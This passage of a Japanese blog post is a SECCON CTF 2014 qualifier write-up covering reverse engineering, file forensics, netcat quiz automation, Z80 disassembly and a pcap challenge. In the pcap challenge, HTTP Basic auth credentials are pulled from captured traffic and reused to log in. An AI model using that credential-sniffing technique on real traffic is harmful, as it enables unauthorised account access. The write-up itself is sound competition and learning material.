&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;86系の実行ファイルのようです。Linux上で実行するとランダムな文字列が出力されました。 この文字の出力からでは何もわかりませんでしたので、まずはバイナリエディタでそれらしき文字列がないかを確認しましたが、フラグはありませんでした。&lt;/p&gt;
&lt;p&gt;次に、IDAという逆アセンブラで実行ファイルを解析してみたところ、以下のような怪しい部分がみつかりました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:0804854B mov eax, 53h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048550 mov [esp+24h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048554 mov eax, 45h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048559 mov [esp+25h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:0804855D mov eax, 43h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048562 mov [esp+26h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048566 mov eax, 43h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:0804856B mov [esp+27h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:0804856F mov eax, 4Fh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048574 mov [esp+28h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:（延々と続く）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048694 mov [esp+48h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:08048698 mov eax, 21h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:0804869D mov [esp+49h], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:080486A1 mov eax, 7Dh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:080486A6 mov [esp+4Ah], al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:080486AA mov eax, 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.text:080486AF mov [esp+4Bh], al
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これは明らかに文字列を１文字ずつ扱うことで隠そうとしている節があります。&lt;/p&gt;
&lt;p&gt;代入している数値をバイナリエディタに入力したところ、フラグがでてきました。&lt;/p&gt;
&lt;h2 id="reverse-itbinary"&gt;&lt;strong&gt;Reverse it&lt;/strong&gt;（Binary）****
&lt;/h2&gt;&lt;p&gt;まずはfileコマンドで確認&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file Reverseit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reverseit: data
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;単なるデータのようです。&lt;/p&gt;
&lt;p&gt;次にバイナリエディターでダンプしたところ、&amp;ldquo;02&amp;quot;という数字が多く並んでいるのが気になりました。&lt;/p&gt;
&lt;p&gt;問題はReverse itですから、何かを反転させる必要がありそうです。ふと思いついたのですが、&amp;ldquo;02&amp;quot;の上位と下位の桁を入れ替えると&amp;quot;20&amp;quot;になります。&amp;ldquo;20&amp;quot;はご存知の通り空白の文字コードです。もしも空白ということであれば、その開始と終了のあたりのデータを同じように入れ替えると文字列が現れるはずです。&lt;/p&gt;
&lt;p&gt;これを試したところ、XMLぽいコードがでてきましたが、逆向きに読めました。&lt;/p&gt;
&lt;p&gt;これらの結果から各バイトの上位桁と下位桁を入れ替えたあとに、データの最後から最初に向けて並べ替えるプログラムをPythonでかきました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/reverse_it.py" target="_blank" rel="noopener"
 &gt;https://github.com/kanpapa/ctf/blob/master/reverse_it.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;変換後のファイルをバイナリエディタで覗いたところ、JFIFという文字が見えました。&lt;/p&gt;
&lt;p&gt;これはJPEGファイルではないかということで、念のためファイルコマンドでも確認しました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file Reverse.jpg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reverse.jpg: JPEG image data, JFIF standard 1.01
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拡張子を.jpgに変換してビューワーでみたところ、こんな画像がでてきました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Reverse.jpg" class="gallery-image" data-flex-basis="1846px" data-flex-grow="769" height="26" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup/images/Reverse.jpg" width="200"&gt;&lt;/p&gt;
&lt;p&gt;ご丁寧に文字の画像も反転していますので、反転して読むことでフラグが取れました&lt;/p&gt;
&lt;h2 id="get-the-keytxtforensics"&gt;&lt;strong&gt;Get the key.txt（Forensics）&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;まずはいつものようにfileコマンドです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ file forensic100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;forensic100: Linux rev 1.0 ext2 filesystem data
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Linuxのext2ファイルシステムのようです。&lt;/p&gt;
&lt;p&gt;念のためdumpe2fsコマンドで確認したところ、間違いないようです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ dumpe2fs forensic100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ファイルシステムとしてマウントしてみます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ mkdir mnt3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ mount forensic100 mnt3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cd mnt3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ls -l : :
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;マウントできましたが、数字のファイルがたくさんでてきました。&lt;/p&gt;
&lt;p&gt;fileコマンドで確認するとgzipファイルでしたので、試しに１つ解凍してみると、フラグが書かれていました。&lt;/p&gt;
&lt;p&gt;しかし、すべてのファイルにフラグが書かれているようです。これではどれが本物かわかりません。&lt;/p&gt;
&lt;p&gt;fileコマンドの結果をよく見たところ、key.txtと書かれたものがありました。これが本物のフラグでした。&lt;/p&gt;
&lt;h2 id="choose-the-numberprogramming"&gt;&lt;strong&gt;Choose the number（Programming）&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;指定されたサーバにアクセスすると以下のようなものでした。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc number.quals.seccon.jp 31337
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4, 7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The minimum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Timeout, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc number.quals.seccon.jp 31337
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-9, 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The maximum number? 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;8, -9, 7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The minimum number? -9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-5, -7, -8, -4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The minimum number? -8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6, 0, 0, 1, 4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The maximum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;この調子でずっと繰り返すようです。人力では最後まで辿りつけそうもありません。&lt;/p&gt;
&lt;p&gt;自動的に回答するプログラムをPythonで作成しました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/choose_the_number.py" target="_blank" rel="noopener"
 &gt;https://github.com/kanpapa/ctf/blob/master/choose_the_number.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;試してみると100回めでフラグが取れました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python choose_the_number.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0recvstr: -4, -7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The minimum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: -4, -7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: The minimum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;-4&amp;#39;, &amp;#39; -7&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;numlist: [-4, -7]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;numlist(sort): [-7, -4]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: -7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: 4, 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The maximum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: 4, 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: The maximum number?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;4&amp;#39;, &amp;#39; 0&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3231051924, 3238681159, 3338114506, 3402677356, 3425438800, 3448293469, 3573163659, 3649031632, 3662187780, 3812908271, 3816985767, 3846435394, 3982641142, 4085727022, 4156598984, 4201589254, 4277411618]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: -4177468994
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: Congratulations!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: The flag is SECCON{Programming is so fun!}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="get-the-keynetwork"&gt;&lt;strong&gt;Get the key（Network）&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;pcapファイルが添付されていましたので、Wiresharkに読み込みました。&lt;/p&gt;
&lt;p&gt;BASIC認証を挟んだWebアクセスの通信ログのようです。まずは、HTTPで扱ってるファイルを抽出しました。（Export Object-&amp;gt;HTTP）&lt;/p&gt;
&lt;p&gt;この結果２つのHTMLファイルがでてきました。１つはAuthorization Requiredのエラー画面。もう１つはkey.htmlというファイルがダウンロードできる画面です。&lt;/p&gt;
&lt;p&gt;この画面が見えているということは、ログにID/PWが残っているはずです。&lt;/p&gt;
&lt;p&gt;そこで、このダウンロード画面が流れている部分のAuthorization:ヘッダにBASIC認証のIDとPasswordがあるはずなので確認したところ、WiresharkでデコードされたIDとPWがありました。&lt;/p&gt;
&lt;p&gt;実際のサイトに接続してこのID/PWを入力することで、key.htmlを入手しフラグが取れました。&lt;/p&gt;
&lt;p&gt;時間内に回答できたのは以上の７問になります。&lt;/p&gt;
&lt;p&gt;あと面白そうな問題として以下の200点問題に取り組みました。&lt;/p&gt;
&lt;h2 id="letbinary"&gt;&lt;strong&gt;Let&amp;rsquo;s disassemble&lt;/strong&gt;（Binary）****
&lt;/h2&gt;&lt;p&gt;指定されたサーバにアクセスすると以下のようなものでした。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : F9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Timeout, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;このコードを逆アセンブルしろということでしょうか。&lt;/p&gt;
&lt;p&gt;どんな機械語がでてくるのか適当に何回も叩いてみました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 83
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 36 14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : CC 7B 27
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 82
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 2A 56 98
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Something wrong, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;どこか見覚えのあるような機械語です。なんとなく8ビットCPUのように思えます。&lt;/p&gt;
&lt;p&gt;そこでものは試しとZ80の機械語表を取り出して、ハンド逆アセンブルをしてみました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="ucom82_manual.jpg" class="gallery-image" data-flex-basis="180px" data-flex-grow="75" height="640" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2014/12/seccon-ctf-2014-online-writeup/images/ucom82_manual.jpg" width="480"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ nc disassemble.quals.seccon.jp 23168
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#1 : 6D
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? LD L,L
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#2 : A3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? AND E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#3 : C1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? POP BC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#4 : 96
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? SUB (HL)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#5 : 39
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? ADD HL,SP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#6 : B4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? OR H
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#7 : 17
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? RLA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#8 : 6E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? LD L,(HL)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#9 : 71
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? LD (HL),C
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#10 : 6B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? LD L,E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#11 : DA 75 76
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;? JP C,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Timeout, bye.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最後の行は時間切れで入力できませんでしたが、どうやらZ80で良いようです。とはいえこれも自動入力しないとtimeoutで通信が切れてしまいます。&lt;/p&gt;
&lt;p&gt;やむなく、Pythonで自動入力の逆アセンブラプログラムを作成しはじめました。この時点であと５時間です・・・。&lt;/p&gt;
&lt;p&gt;最初は8080の命令の範囲だけの出題かなと思って試していましたが、Z80の拡張命令も出てきて大掛かりなものになってしまいました。&lt;/p&gt;
&lt;p&gt;作りかけのプログラムは以下におきました。これは不完全なものですのでご注意ください。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/lets_disassemble.py" target="_blank" rel="noopener"
 &gt;https://github.com/kanpapa/ctf/blob/master/lets_disassemble.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;途中まで実行を試した結果は以下のようになりました。いいところまでできたのですが。残念です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ python lets_disassemble.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80asm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_ddasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_ddcbasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z80_fdcbasm_len: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0recvstr: #1 : A0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #1 : A0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#1&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;A0&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1: A0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_num: 160
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_op: AND B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: AND B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: AND B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: #2 : F1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #2 : F1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#2&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;F1&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1: F1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_num: 241
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_op: POP AF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: POP AF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: POP AF
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;66
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: #67 : 48
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #67 : 48
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#67&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;48&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1: 48
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_num: 72
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code1_op: LD C,B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asm_code: LD C,B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sendstr: LD C,B
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;67
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;recvstr: #68 : FD CB 9C D6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line1: #68 : FD CB 9C D6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line2: ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strlist: [&amp;#39;#68&amp;#39;, &amp;#39;:&amp;#39;, &amp;#39;FD&amp;#39;, &amp;#39;CB&amp;#39;, &amp;#39;9C&amp;#39;, &amp;#39;D6&amp;#39;]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code_len: 4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;code4_num: 214
